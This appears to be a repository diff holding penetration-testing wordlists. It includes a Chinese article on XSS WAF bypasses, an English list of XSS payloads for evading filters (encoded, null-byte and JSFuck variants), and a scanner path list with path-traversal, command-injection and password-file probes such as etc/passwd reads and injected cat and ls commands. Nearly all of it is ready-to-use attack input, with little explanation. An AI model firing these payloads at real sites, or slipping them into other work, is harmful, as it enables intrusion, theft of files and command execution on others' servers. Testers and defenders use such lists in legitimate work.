<// style=x:expression\28write(1)\29> // Works upto IE7 参考http://html5sec.org/#71
|
||||
<!--[if]><script>alert(1)</script --> // Works upto IE9 参考http://html5sec.org/#115
|
||||
<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> // Works in IE7 参考 http://html5sec.org/#77
|
||||
<%div%20style=xss:expression(prompt(1))> // Works Upto IE7
|
||||
Unicode分隔符
|
||||
|
||||
[on\w+\s*]这个规则过滤了所有on事件，为了验证每个浏览器中有效的分隔符，可以使用fuzzing方法测试0×00到0xff，结果如下：
|
||||
IExplorer= [0x09,0x0B,0x0C,0x20,0x3B]
|
||||
Chrome = [0x09,0x20,0x28,0x2C,0x3B]
|
||||
Safari = [0x2C,0x3B]
|
||||
FireFox= [0x09,0x20,0x28,0x2C,0x3B]
|
||||
Opera = [0x09,0x20,0x2C,0x3B]
|
||||
Android = [0x09,0x20,0x28,0x2C,0x3B]
|
||||
x0b在Mod_security中已经被过滤，绕过的方法：
|
||||
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
|
||||
缺少X-frame选项
|
||||
通常会认为X-frame是用来防护点击劫持的配置，其实也可以防护使用iframe引用的xss漏洞
|
||||
Docmodes
|
||||
IE引入了doc-mode很长时间，提供给老版本浏览器的后端兼容性，有风险，攻击情景是黑客可以引用你站点的框架，他可以引入doc-mode执行css表达式
|
||||
expression(open(alert(1)))
|
||||
以下POC可以插入到IE7中
|
||||
<html>
|
||||
<body>
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
|
||||
<iframesrc="https://targetwebsite.com">
|
||||
</body>
|
||||
</html>
|
||||
Window.name欺骗
|
||||
情景：我们用iframe加载一个页面，我们可以控制窗口的名称，这里也可以执行javascript代码
|
||||
POC
|
||||
<iframesrc='http://www.target.com?foo="xss autofocus/AAAAA onfocus=location=window.name//'
|
||||
name="javascript:alert("XSS")"></iframe>
|
||||
DOM型XSS
|
||||
服务器不支持过滤DOM型的XSS，因为DOM型XSS总是在客户端执行，看一个例子：
|
||||
<script>
|
||||
vari=location.hash;
|
||||
document.write(i);
|
||||
</script>
|
||||
在一些情况下，反射型XSS可以转换成DOM型XSS：
|
||||
http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()
|
||||
上面的POC只在[.+都被允许的情况下适用，可以使用location.hash注入任何不允许的编码
|
||||
Location.hash[1] = : // Defined at the first position after the hash.
|
||||
Location.hash[2]= ( // Defined at the second position after the has
|
||||
Location.hash[3] = ) // Defined at third position after the hash.
|
||||
如果有客户端过滤可能不适用
|
||||
绕过
|
||||
ModSecurity绕过
|
||||
<scri%00pt>confirm(0);</scri%00pt>
|
||||
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
|
||||
参考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html
|
||||
|
||||
WEB KNIGHT绕过
|
||||
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
|
||||
<marquee/onstart=confirm(2)>
|
||||
F5 BIG IP ASM and Palo ALTO绕过
|
||||
<table background="javascript:alert(1)"></table> //IE6或者低版本Opera
|
||||
“/><marquee onfinish=confirm(123)>a</marquee>
|
||||
Dot Defender绕过
|
||||
<svg/onload=prompt(1);>
|
||||
<isindex action="javas&tab;cript:alert(1)" type=image>
|
||||
<marquee/onstart=confirm(2)>
|
||||
结论
|
||||
黑名单方式永远不是最好的解决办法，但是相对与白名单效率很高，对于WAF供应商来说，最好的实践如下：
|
||||
1、开发者和管理员要注意WAF只能缓解攻击，并且针对已知的弱点的防护只是和源代码修复的方法打个时间差；
|
||||
2、要保持WAF的规则库更新；
|
||||
3、WAF可以配置参数限制，需要提供手册用于配置参数content-length最大最小长度，content-type类型，在入侵时进行告警；
|
||||
4、如果WAF依据黑名单，要确保可以阻断已知的浏览器BUG，并且相应规则库要及时更新。
|
||||
|
|
@ -1,185 +0,0 @@
|
|||
# A collection of XSS payloads that I find to be useful during penetration tests, especially when faced with WAFs or application-based black-list filtering
|
||||
Simple character manipulations.
|
||||
Note that I use hexadecimal to represent characters that you probably can't type. For example, \x00 equals a null byte, but you'll need to encode this properly depending on the context (URL encoding \x00 = %00).
|
||||
|
||||
HaRdc0r3 caS3 s3nsit1vITy bYpa55!
|
||||
<sCrIpt>alert(1)</ScRipt>
|
||||
<iMg srC=1 lAnGuAGE=VbS oNeRroR=mSgbOx(1)>
|
||||
|
||||
Null-byte character between HTML attribute name and equal sign (IE, Safari).
|
||||
<img src='1' onerror\x00=alert(0) />
|
||||
|
||||
Slash character between HTML attribute name and equal sign (IE, Firefox, Chrome, Safari).
|
||||
<img src='1' onerror/=alert(0) />
|
||||
|
||||
Vertical tab between HTML attribute name and equal sign (IE, Safari).
|
||||
<img src='1' onerror\x0b=alert(0) />
|
||||
|
||||
Null-byte character between equal sign and JavaScript code (IE).
|
||||
<img src='1' onerror=\x00alert(0) />
|
||||
|
||||
Null-byte character between characters of HTML attribute names (IE).
|
||||
<img src='1' o\x00nerr\x00or=alert(0) />
|
||||
|
||||
Null-byte character before characters of HTML element names (IE).
|
||||
<\x00img src='1' onerror=alert(0) />
|
||||
|
||||
Null-byte character after characters of HTML element names (IE, Safari).
|
||||
<script\x00>alert(1)</script>
|
||||
|
||||
Null-byte character between characters of HTML element names (IE).
|
||||
<i\x00mg src='1' onerror=alert(0) />
|
||||
|
||||
Use slashes instead of whitespace (IE, Firefox, Chrome, Safari).
|
||||
<img/src='1'/onerror=alert(0)>
|
||||
|
||||
Use vertical tabs instead of whitespace (IE, Safari).
|
||||
<img\x0bsrc='1'\x0bonerror=alert(0)>
|
||||
|
||||
Use quotes instead of whitespace in some situations (Safari).
|
||||
<img src='1''onerror='alert(0)'>
|
||||
<img src='1'"onerror="alert(0)">
|
||||
|
||||
Use null-bytes instead of whitespaces in some situations (IE).
|
||||
<img src='1'\x00onerror=alert(0)>
|
||||
|
||||
Just don't use spaces (IE, Firefox, Chrome, Safari).
|
||||
<img src='1'onerror=alert(0)>
|
||||
|
||||
Prefix URI schemes.
|
||||
Firefox (\x09, \x0a, \x0d, \x20)
|
||||
Chrome (Any character \x01 to \x20)
|
||||
<iframe src="\x01javascript:alert(0)"></iframe> <!-- Example for Chrome -->
|
||||
|
||||
No greater-than characters needed (IE, Firefox, Chrome, Safari).
|
||||
<img src='1' onerror='alert(0)' <
|
||||
|
||||
Extra less-than characters (IE, Firefox, Chrome, Safari).
|
||||
<<script>alert(0)</script>
|
||||
|
||||
Backslash character between expression and opening parenthesis (IE).
|
||||
<style>body{background-color:expression\(alert(1))}</style>
|
||||
|
||||
JavaScript Escaping
|
||||
<script>document.write('<a hr\ef=j\avas\cript\:a\lert(2)>blah</a>');</script>
|
||||
|
||||
Encoding Galore.
|
||||
|
||||
HTML Attribute Encoding
|
||||
<img src="1" onerror="alert(1)" />
|
||||
<img src="1" onerror="alert(1)" />
|
||||
<iframe src="javascript:alert(1)"></iframe>
|
||||
<iframe src="javascript:alert(1)"></iframe>
|
||||
|
||||
URL Encoding
|
||||
<iframe src="javascript:alert(1)"></iframe>
|
||||
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
|
||||
|
||||
CSS Hexadecimal Encoding (IE specific examples)
|
||||
<div style="x:expression(alert(1))">Joker</div>
|
||||
<div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">Joker</div>
|
||||
<div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">Joker</div>
|
||||
<div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">Joker</div>
|
||||
|
||||
JavaScript (hexadecimal, octal, and unicode)
|
||||
<script>document.write('<img src=1 onerror=alert(1)>');</script>
|
||||
<script>document.write('\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x31\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31\x29\x3E');</script>
|
||||
<script>document.write('\074\151\155\147\040\163\162\143\075\061\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061\051\076');</script>
|
||||
<script>document.write('\u003C\u0069\u006D\u0067\u0020\u0073\u0072\u0063\u003D\u0031\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u0072\u003D\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003E');</script>
|
||||
|
||||
JavaScript (Decimal char codes)
|
||||
<script>document.write('<img src=1 onerror=alert(1)>');</script>
|
||||
<script>document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,49,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,48,41,62));</script>
|
||||
|
||||
JavaScript (Unicode function and variable names)
|
||||
<script>alert(123)</script>
|
||||
<script>\u0061\u006C\u0065\u0072\u0074(123)</script>
|
||||
|
||||
Overlong UTF-8 (SiteMinder is awesome!)
|
||||
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
|
||||
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
|
||||
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
|
||||
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
|
||||
|
||||
<img src="1" onnerror="alert(1)">
|
||||
%E0%80%BCimg%20src%3D%E0%80%A21%E0%80%A2%20onerror%3D%E0%80%A2alert(1)%E0%80%A2%E0%80%BE
|
||||
|
||||
UTF-7 (Missing charset?)
|
||||
<img src="1" onerror="alert(1)" />
|
||||
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
|
||||
|
||||
Unicode .NET Ugliness
|
||||
<script>alert(1)</script>
|
||||
%uff1cscript%uff1ealert(1)%uff1c/script%uff1e
|
||||
|
||||
Classic ASP performs some unicode homoglyphic translations... don't ask why...
|
||||
<img src="1" onerror="alert('1')">
|
||||
%u3008img%20src%3D%221%22%20onerror%3D%22alert(%uFF071%uFF07)%22%u232A
|
||||
|
||||
Useless and/or Useful features.
|
||||
|
||||
HTML 5 (Not comphrensive)
|
||||
<video src="http://www.w3schools.com/html5/movie.ogg" onloadedmetadata="alert(1)" />
|
||||
<video src="http://www.w3schools.com/html5/movie.ogg" onloadstart="alert(1)" />
|
||||
|
||||
Usuage of non-existent elements (IE)
|
||||
<blah style="blah:expression(alert(1))" />
|
||||
|
||||
CSS Comments (IE)
|
||||
<div style="z:exp/*anything*/res/*here*/sion(alert(1))" />
|
||||
|
||||
Alternate ways of executing JavaScript functions
|
||||
<script>window['alert'](0)</script>
|
||||
<script>parent['alert'](1)</script>
|
||||
<script>self['alert'](2)</script>
|
||||
<script>top['alert'](3)</script>
|
||||
|
||||
Split up JavaScript into HTML attributes
|
||||
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
|
||||
|
||||
HTML is parsed before JavaScript
|
||||
<script>
|
||||
var junk = '</script><script>alert(1)</script>';
|
||||
</script>
|
||||
|
||||
HTML is parsed before CSS
|
||||
<style>
|
||||
body { background-image:url('http://www.blah.com/</style><script>alert(1)</script>'); }
|
||||
</style>
|
||||
|
||||
XSS in XML documents [doctype = text/xml] (Firefox, Chrome, Safari).
|
||||
<?xml version="1.0" ?>
|
||||
<someElement>
|
||||
<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>
|
||||
</someElement>
|
||||
|
||||
URI Schemes
|
||||
<iframe src="javascript:alert(1)"></iframe>
|
||||
<iframe src="vbscript:msgbox(1)"></iframe> (IE)
|
||||
<iframe src="data:text/html,<script>alert(0)</script>"></iframe> (Firefox, Chrome, Safari)
|
||||
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> (Firefox, Chrome, Safari)
|
||||
|
||||
HTTP Parameter Pollution
|
||||
http://target.com/something.xxx?a=val1&a=val2
|
||||
ASP.NET a = val1,val2
|
||||
ASP a = val1,val2
|
||||
JSP a = val1
|
||||
PHP a = val2
|
||||
|
||||
Two Stage XSS via fragment identifier (bypass length restrictions / avoid server logging)
|
||||
<script>eval(location.hash.slice(1))</script>
|
||||
<script>eval(location.hash)</script> (Firefox)
|
||||
|
||||
http://target.com/something.jsp?inject=<script>eval(location.hash.slice(1))</script>#alert(1)
|
||||
|
||||
Two Stage XSS via name attribute
|
||||
<iframe src="http://target.com/something.jsp?inject=<script>eval(name)</script>" name="alert(1)"></iframe>
|
||||
|
||||
Non-alphanumeric crazyness...
|
||||
<script>
|
||||
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();
|
||||
</script>
|
||||
|
||||
<script>
|
||||
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
|
||||
</script>
|
||||
File diff suppressed because it is too large
Load Diff
Binary file not shown.
|
|
@ -1,31 +0,0 @@
|
|||
OPTIONS
|
||||
GET
|
||||
HEAD
|
||||
POST
|
||||
PUT
|
||||
DELETE
|
||||
TRACE
|
||||
CONNECT
|
||||
PROPFIND
|
||||
PROPPATCH
|
||||
MKCOL
|
||||
COPY
|
||||
MOVE
|
||||
LOCK
|
||||
UNLOCK
|
||||
VERSION-CONTROL
|
||||
REPORT
|
||||
CHECKOUT
|
||||
CHECKIN
|
||||
UNCHECKOUT
|
||||
MKWORKSPACE
|
||||
UPDATE
|
||||
LABEL
|
||||
MERGE
|
||||
BASELINE-CONTROL
|
||||
MKACTIVITY
|
||||
ORDERPATCH
|
||||
ACL
|
||||
PATCH
|
||||
SEARCH
|
||||
ARBITRARY
|
||||
|
|
@ -1,642 +0,0 @@
|
|||
/.printer
|
||||
/%NETHOOD%/
|
||||
/<script>alert('XSS')</script>.aspx
|
||||
/AccessPlatform/
|
||||
/AccessPlatform/auth/
|
||||
/AccessPlatform/auth/clientscripts/cookies.js
|
||||
/AccessPlatform/auth/clientscripts/login.js
|
||||
/Exadmin/
|
||||
/ExchWeb/
|
||||
/Exchange/
|
||||
/Microsoft-Server-ActiveSync/
|
||||
/OMA/
|
||||
/OWA/
|
||||
/Public/
|
||||
/_layouts/alllibs.htm
|
||||
/_layouts/settings.htm
|
||||
/_layouts/userinfo.htm
|
||||
/_vti_bin/
|
||||
/_vti_bin/_vti_aut/fp30reg.dll
|
||||
/_vti_pvt/
|
||||
/_WEB_INF/
|
||||
/a%5c.aspx
|
||||
/adovbs.inc
|
||||
/aspnet_files/
|
||||
/certcontrol/
|
||||
/certenroll/
|
||||
/certsrv/
|
||||
/citrix/
|
||||
/citrix/AccessPlatform/auth/
|
||||
/citrix/AccessPlatform/auth/clientscripts/
|
||||
/AccessPlatform/auth/clientscripts/
|
||||
/Citrix//AccessPlatform/auth/clientscripts/cookies.js
|
||||
/Citrix/AccessPlatform/auth/clientscripts/login.js
|
||||
/Citrix/PNAgent/config.xml
|
||||
/exchange/root.asp
|
||||
/forum.asp
|
||||
/forum_arc.asp
|
||||
/forum_professionnel.asp
|
||||
/iisadmin/
|
||||
/iisadmpwd/achg.htr
|
||||
/iisadmpwd/aexp.htr
|
||||
/iisadmpwd/aexp2.htr
|
||||
/iisadmpwd/aexp2b.htr
|
||||
/iisadmpwd/aexp3.htr
|
||||
/iisadmpwd/aexp4.htr
|
||||
/iisadmpwd/aexp4b.htr
|
||||
/iisadmpwd/anot.htr
|
||||
/iisadmpwd/anot3.htr
|
||||
/iiasdmpwd/
|
||||
/iishelp/
|
||||
/iishelp/iis/misc/default.asp
|
||||
/iissamples/
|
||||
/imprimer.asp
|
||||
/includes/adovbs.inc
|
||||
/msadc/
|
||||
/null.htw
|
||||
/pbserver/pbserver.dll
|
||||
/postinfo.html
|
||||
/rubrique.asp
|
||||
/scripts/
|
||||
/scripts/fpcount.exe
|
||||
/scripts/cgimail.exe
|
||||
/scripts/tools/newdsn.exe
|
||||
/scripts/tools/getdrvs.exe
|
||||
/scripts/convert.bas
|
||||
/cgi-bin/htmlscript
|
||||
/scripts/counter.exe
|
||||
/scripts/no-such-file.pl
|
||||
/share/
|
||||
/tsweb/
|
||||
/~/<script>alert('XSS')</script>.asp
|
||||
/~/<script>alert('XSS')</script>.aspx
|
||||
/index.shtml
|
||||
/x.htw
|
||||
/x.ida
|
||||
/x.idq
|
||||
/cgi
|
||||
/scripts/iisadmin/ism.dll?http/dir
|
||||
/scripts/samples/search/webhits.exe
|
||||
%2e%2e/abyss.conf
|
||||
.access
|
||||
.cobalt
|
||||
.cobalt/alert/service.cgi?service=<img%20src=javascript:alert('XSS')>
|
||||
.cobalt/alert/service.cgi?service=<script>alert('XSS')</script>
|
||||
.fhp
|
||||
.htaccess
|
||||
.htaccess.old
|
||||
.htaccess.save
|
||||
.htaccess~
|
||||
.htpasswd
|
||||
.nsconfig
|
||||
.passwd
|
||||
.www_acl
|
||||
.wwwacl
|
||||
/_vti_pvt/doctodep.btr
|
||||
14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}
|
||||
14all.cgi?cfg=../../../../../../../..{KNOWNFILE}
|
||||
AT-admin.cgi
|
||||
AT-generate.cgi
|
||||
Album?mode=album&album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&dispsize=640&start=0
|
||||
AnyBoard.cgi
|
||||
AnyForm
|
||||
AnyForm2
|
||||
Backup/add-passwd.cgi
|
||||
C
|
||||
Count.cgi
|
||||
DC
|
||||
DCFORM
|
||||
File
|
||||
FormHandler.cgi?realname=aaa&email=aaa&reply_message_template=%2Fetc%2Fpasswd&reply_message_from=sq%40example.com&redirect=http%3A%2F%2Fwww.example.com&recipient=sq%40example.com
|
||||
FormMail.cgi?<script>alert(\
|
||||
FormMail.pl
|
||||
ImageFolio/admin/admin.cgi
|
||||
LWGate
|
||||
LWGate.cgi
|
||||
Upload.pl
|
||||
Vs
|
||||
W
|
||||
YaBB.pl?board=news&action=display&num=../../../../../../../../../..{KNOWNFILE}%00
|
||||
YaBB/YaBB.cgi?board=BOARD&action=display&num=<script>alert('XSS')</script>
|
||||
a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}
|
||||
a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}
|
||||
a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}
|
||||
a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}
|
||||
add_ftp.cgi
|
||||
addbanner.cgi
|
||||
adduser.cgi
|
||||
admin.cgi
|
||||
admin.cgi?list=../../../../../../../../../..{KNOWNFILE}
|
||||
admin.php
|
||||
admin.php3
|
||||
admin.pl
|
||||
adminhot.cgi
|
||||
adminwww.cgi
|
||||
af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd
|
||||
aglimpse
|
||||
aglimpse.cgi
|
||||
alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,
|
||||
alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd
|
||||
amadmin.pl
|
||||
anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}
|
||||
ans.pl?p=../../../../../usr/bin/id|&blah
|
||||
ans/ans.pl?p=../../../../../usr/bin/id|&blah
|
||||
anyboard.cgi
|
||||
archie
|
||||
architext_query.cgi
|
||||
architext_query.pl
|
||||
ash
|
||||
astrocam.cgi
|
||||
atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL
|
||||
auction/auction.cgi?action=
|
||||
auctiondeluxe/auction.pl
|
||||
auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}
|
||||
auth_data/auth_user_file.txt
|
||||
awl/auctionweaver.pl
|
||||
awstats.pl
|
||||
awstats/awstats.pl
|
||||
ax-admin.cgi
|
||||
ax.cgi
|
||||
axs.cgi
|
||||
badmin.cgi
|
||||
banner.cgi
|
||||
bannereditor.cgi
|
||||
bash
|
||||
bb-hist?HI
|
||||
bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK
|
||||
bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK
|
||||
bbs_forum.cgi
|
||||
betsie/parserl.pl/<script>alert('XSS')</script>;
|
||||
bigconf.cgi?command=view_textfile&file={KNOWNFILE}&filters=
|
||||
bizdb1-search.cgi
|
||||
blog/
|
||||
blog/mt-check.cgi
|
||||
blog/mt-load.cgi
|
||||
blog/mt.cfg
|
||||
bnbform
|
||||
bnbform.cgi
|
||||
book.cgi?action=default¤t=|cat%20{KNOWNFILE}|&form_tid=996604045&prev=main.html&list_message_index=10
|
||||
boozt/admin/index.cgi?section=5&input=1
|
||||
bsguest.cgi?email=x;ls
|
||||
bslist.cgi?email=x;ls
|
||||
build.cgi
|
||||
bulk/bulk.cgi
|
||||
c_download.cgi
|
||||
cached_feed.cgi
|
||||
cachemgr.cgi
|
||||
cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00
|
||||
calendar
|
||||
calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22
|
||||
calendar.pl
|
||||
calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|
|
||||
calendar/index.cgi
|
||||
calendar_admin.pl?config=|cat%20{KNOWNFILE}|
|
||||
calender_admin.pl
|
||||
campas?%0acat%0a{KNOWNFILE}%0a
|
||||
cart.pl
|
||||
cart.pl?db='
|
||||
cartmanager.cgi
|
||||
cbmc/forums.cgi
|
||||
ccbill-local.cgi?cmd=MENU
|
||||
ccbill-local.pl?cmd=MENU
|
||||
cgforum.cgi
|
||||
cgi-lib.pl
|
||||
cgicso?query=<script>alert('XSS')</script>
|
||||
cgicso?query=AAA
|
||||
cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00
|
||||
cgiwrap
|
||||
cgiwrap/%3Cfont%20color=red%3E
|
||||
cgiwrap/~@U
|
||||
cgiwrap/~JUNK(5)
|
||||
cgiwrap/~root
|
||||
change-your-password.pl
|
||||
classified.cgi
|
||||
classifieds
|
||||
classifieds.cgi
|
||||
classifieds/classifieds.cgi
|
||||
classifieds/index.cgi
|
||||
clickcount.pl?view=test
|
||||
clickresponder.pl
|
||||
code.php
|
||||
code.php3
|
||||
com5..........................................................................................................................................................................................................................box
|
||||
com5.java
|
||||
com5.pl
|
||||
commandit.cgi
|
||||
commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html
|
||||
common.php?f=0&ForumLang=../../../../../../../../../..{KNOWNFILE}
|
||||
common/listrec.pl
|
||||
common/listrec.pl?APP=qmh-news&TEMPLATE=;ls%20/etc|
|
||||
compatible.cgi
|
||||
count.cgi
|
||||
counter-ord
|
||||
counterbanner
|
||||
counterbanner-ord
|
||||
counterfiglet-ord
|
||||
counterfiglet/nc/
|
||||
cs
|
||||
csChatRBox.cgi?command=savesetup&setup=;system('cat%20{KNOWNFILE}')
|
||||
csGuestBook.cgi?command=savesetup&setup=;system('cat%20{KNOWNFILE}')
|
||||
csLive
|
||||
csNews.cgi
|
||||
csNewsPro.cgi?command=savesetup&setup=;system('cat%20{KNOWNFILE}')
|
||||
csPassword.cgi
|
||||
csPassword/csPassword.cgi
|
